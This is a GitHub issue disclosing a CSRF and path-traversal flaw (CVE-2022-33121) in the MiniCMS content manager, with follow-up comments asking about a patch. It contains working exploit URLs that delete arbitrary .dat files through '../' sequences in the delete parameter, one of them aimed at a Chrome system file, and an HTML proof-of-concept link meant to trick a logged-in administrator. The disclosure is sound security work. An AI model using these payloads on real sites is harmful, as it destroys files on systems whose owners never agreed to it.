bg5sbk / MiniCMS

至简的个人网站内容管理系统
http://1234n.com/?projects/minicms/
227 stars 61 forks source link

There is CSRF vulnerabilities that can lead to deleting local .dat files #45

Closed youki992 closed 1 year ago

youki992 commented 2 years ago

Software Link : https://github.com/bg5sbk/MiniCMS After the installation is complete, log in as administrator, open the page

In post.php, user can delete any local .dat files without filter

XgVxl6.png

Create 1.dat in the parent directory

XgZ9mD.png

To delete 1.dat, the url is like http://127.0.0.1:80/MiniCMS-master/mc-admin/post.php?delete=../1&state=delete&date=&tag=

Also you can delete any .dat file like local google chrome file

XgZPTH.png

http://127.0.0.1:80/MiniCMS-master/mc-admin/page.php?delete=../../../../../../../../opt/google/chrome/icudtl&state=delete&date=&tag=

Here is CSRF POC test.html: Log in and click the link in test.html, modify the parameter of delete and users will delete the .dat file in the specified directory at last.

<a href="http://127.0.0.1:80/MiniCMS-master/mc-admin/post.php?delete=../1&state=delete&date=&tag=">click</a>
youki992 commented 2 years ago

use CVE-2022-33121

youki992 commented 1 year ago

close

zentery commented 2 months ago

Could you please publish the submission address of the patch for this vulnerability?